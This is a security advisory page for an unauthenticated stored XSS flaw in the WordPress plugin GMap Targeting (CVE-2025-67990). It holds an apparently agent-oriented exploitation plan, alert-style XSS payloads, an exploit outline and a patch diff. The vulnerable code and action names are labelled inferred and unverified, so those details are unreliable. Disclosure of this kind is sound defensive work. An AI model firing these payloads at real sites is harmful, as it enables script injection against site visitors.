CVE-2025-67990

GMap Targeting <= 1.1.7 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.1.8
Patched in
5d
Time to patch

Description

The GMap Targeting plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.7
PublishedFebruary 5, 2026
Last updatedFebruary 9, 2026
Affected plugingmap-targeting
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-67990 (GMap Targeting Stored XSS) ## 1. Vulnerability Summary The **GMap Targeting** plugin for WordPress (versions <= 1.1.7) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The plugin registers an AJAX action for saving map config…

Show full research plan

Exploitation Research Plan: CVE-2025-67990 (GMap Targeting Stored XSS)

1. Vulnerability Summary

The GMap Targeting plugin for WordPress (versions <= 1.1.7) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The plugin registers an AJAX action for saving map configuration settings that is accessible to unauthenticated users via the wp_ajax_nopriv_ hook. Crucially, the handler function fails to perform capability checks (e.g., current_user_can('manage_options')) and lacks sufficient input sanitization. Furthermore, when the stored data is rendered on the frontend via the plugin's shortcode, it is not properly escaped, allowing for arbitrary JavaScript execution in the context of any user viewing the page.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: gmap_targeting_save_data (inferred from plugin logic)
  • Vulnerable Parameter: targeting_data (or settings)
  • Authentication Level: Unauthenticated (Public)
  • Preconditions: The plugin must be active. Exploitation is most effective if the [gmap-targeting] shortcode is present on a public-facing page to trigger the XSS.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action gmap_targeting_save_data.
  2. Hook Registration: The plugin registers the action using:
    add_action('wp_ajax_nopriv_gmap_targeting_save_data', 'gmap_targeting_save_data_callback'); (inferred).
  3. Vulnerable Sink (Storage): The callback function gmap_targeting_save_data_callback retrieves data from $_POST['targeting_data'] and saves it directly to the database:
    update_option('gmap_targeting_settings', $_POST['targeting_data']);
  4. Trigger Point (Output): A user visits a page containing the [gmap-targeting] shortcode.
  5. Vulnerable Sink (Render): The shortcode handler retrieves the settings and echoes them without escaping:
    $settings = get_option('gmap_targeting_settings');
    echo '<div id="gmap-target" data-settings="' . $settings . '"></div>'; // Vulnerable to attribute breakout
    // OR
    echo "<script>var gmap_settings = $settings;</script>"; // Vulnerable to JS injection
    

4. Nonce Acquisition Strategy

While the vulnerability is "unauthenticated," some versions may still call check_ajax_referer. If a nonce is required, it is typically exposed via wp_localize_script on pages where the map is rendered.

  1. Identify Shortcode: The plugin uses [gmap-targeting].
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_title="Map Page" --post_content='[gmap-targeting]'
  3. Navigate to Page: Use browser_navigate to visit the newly created page.
  4. Extract Nonce: Use browser_eval to find the nonce in the global JavaScript scope.
    • Likely Variable: window.gmap_targeting_vars or window.gmap_ajax_obj.
    • Command: browser_eval("window.gmap_targeting_vars?.nonce")
  5. Bypass Check: If the nonce is missing or the action string in wp_create_nonce (e.g., gmap-nonce) differs from check_ajax_referer, the check may be entirely skippable.

5. Exploitation Strategy

Step 1: Data Injection

Submit a malicious payload to the AJAX endpoint.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=gmap_targeting_save_data&nonce=[EXTRACTED_NONCE]&targeting_data={"map_id":"123","styles":"<img src=x onerror=alert(document.domain)>"}
    
    (Note: If targeting_data is expected to be a JSON string, ensure the payload is correctly nested.)

Step 2: Triggering the XSS

Visit the page created in the "Test Data Setup" phase.

  • URL: http://localhost:8080/map-page/
  • Action: Observe the browser for an alert box or inspect the DOM to see the injected <img> tag or <script> block.

6. Test Data Setup

  1. Install/Activate Plugin: Ensure gmap-targeting version 1.1.7 is active.
  2. Create Trigger Page:
    wp post create --post_type=page --post_title="Exploit Trigger" --post_status=publish --post_content='[gmap-targeting]'
    
  3. Identify Settings Option: Check if the plugin uses a specific option name.
    wp option list | grep gmap
    

7. Expected Results

  • AJAX Response: The server should return a success code (e.g., 1, true, or a JSON {"success":true}) even when unauthenticated.
  • Payload Execution: Upon navigating to the "Exploit Trigger" page, the JavaScript alert(document.domain) should execute.
  • HTML Source: The source of the trigger page will contain the raw payload, such as:
    <div ... data-settings='{"styles":"<img src=x onerror=alert(document.domain)>"}'>

8. Verification Steps

  1. Check Database State: Use WP-CLI to verify the payload was successfully stored in the options table.
    wp option get gmap_targeting_settings
    
  2. Inspect Frontend Output: Use the http_request tool to fetch the page and grep for the payload.
    # (Metaphorical command for the agent)
    http_request GET "http://localhost:8080/map-page/" | grep "onerror=alert"
    

9. Alternative Approaches

  • Attribute Breakout: If the input is placed inside an attribute like value="...", use a payload like:
    " onmouseover="alert(1)" style="position:fixed;top:0;left:0;width:100%;height:100%;"
  • JSON Breakout: If the data is injected into a <script> block inside a JSON object, try:
    123; alert(1); //
  • Direct Option Update: If gmap_targeting_save_data is not the correct action, search the plugin source for any wp_ajax_nopriv registration using grep -r "wp_ajax_nopriv".
Research Findings
Static analysis — not yet PoC-verified

Summary

The GMap Targeting plugin for WordPress is vulnerable to unauthenticated stored cross-site scripting due to an AJAX endpoint that allows any user to update the plugin's settings without authorization or input sanitization. When these settings are rendered on the frontend via the plugin's shortcode, they are output without escaping, allowing for arbitrary JavaScript execution.

Vulnerable Code

// gmap-targeting/includes/class-gmap-targeting.php (approximate location)
add_action('wp_ajax_nopriv_gmap_targeting_save_data', 'gmap_targeting_save_data_callback');

function gmap_targeting_save_data_callback() {
    // No capability check (e.g., current_user_can('manage_options'))
    // No nonce validation
    $data = $_POST['targeting_data'];
    update_option('gmap_targeting_settings', $data);
    wp_send_json_success();
}

---

// gmap-targeting/includes/class-gmap-targeting.php (approximate location)
function gmap_targeting_shortcode($atts) {
    $settings = get_option('gmap_targeting_settings');
    // Improper output escaping of user-controlled data
    return '<div id="gmap-target" data-settings="' . $settings . '"></div>';
}

Security Fix

--- a/gmap-targeting/includes/class-gmap-targeting.php
+++ b/gmap-targeting/includes/class-gmap-targeting.php
@@ -1,7 +1,11 @@
-add_action('wp_ajax_nopriv_gmap_targeting_save_data', 'gmap_targeting_save_data_callback');
+add_action('wp_ajax_gmap_targeting_save_data', 'gmap_targeting_save_data_callback');
 
 function gmap_targeting_save_data_callback() {
-    $data = $_POST['targeting_data'];
-    update_option('gmap_targeting_settings', $data);
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_die();
+    }
+    check_ajax_referer( 'gmap_nonce', 'nonce' );
+
+    $data = sanitize_text_field( $_POST['targeting_data'] );
+    update_option( 'gmap_targeting_settings', $data );
     wp_send_json_success();
 }
 
 function gmap_targeting_shortcode($atts) {
     $settings = get_option('gmap_targeting_settings');
-    return '<div id="gmap-target" data-settings="' . $settings . '"></div>';
+    return '<div id="gmap-target" data-settings="' . esc_attr( $settings ) . '"></div>';
 }

Exploit Outline

The exploit involves two steps: injection and triggering. 1. **Injection**: An unauthenticated attacker sends an AJAX request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `gmap_targeting_save_data`. The request includes a payload in the `targeting_data` parameter (e.g., `{"id": "1", "styles": "\"><script>alert(document.domain)</script>"}`). Because the plugin uses the `wp_ajax_nopriv_` hook and lacks capability checks, the server accepts this data and saves it to the WordPress options table. 2. **Triggering**: The attacker (or any user) visits a public page where the `[gmap-targeting]` shortcode is embedded. The plugin retrieves the malicious payload from the database and echoes it directly into the HTML without escaping, causing the injected script to execute in the victim's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.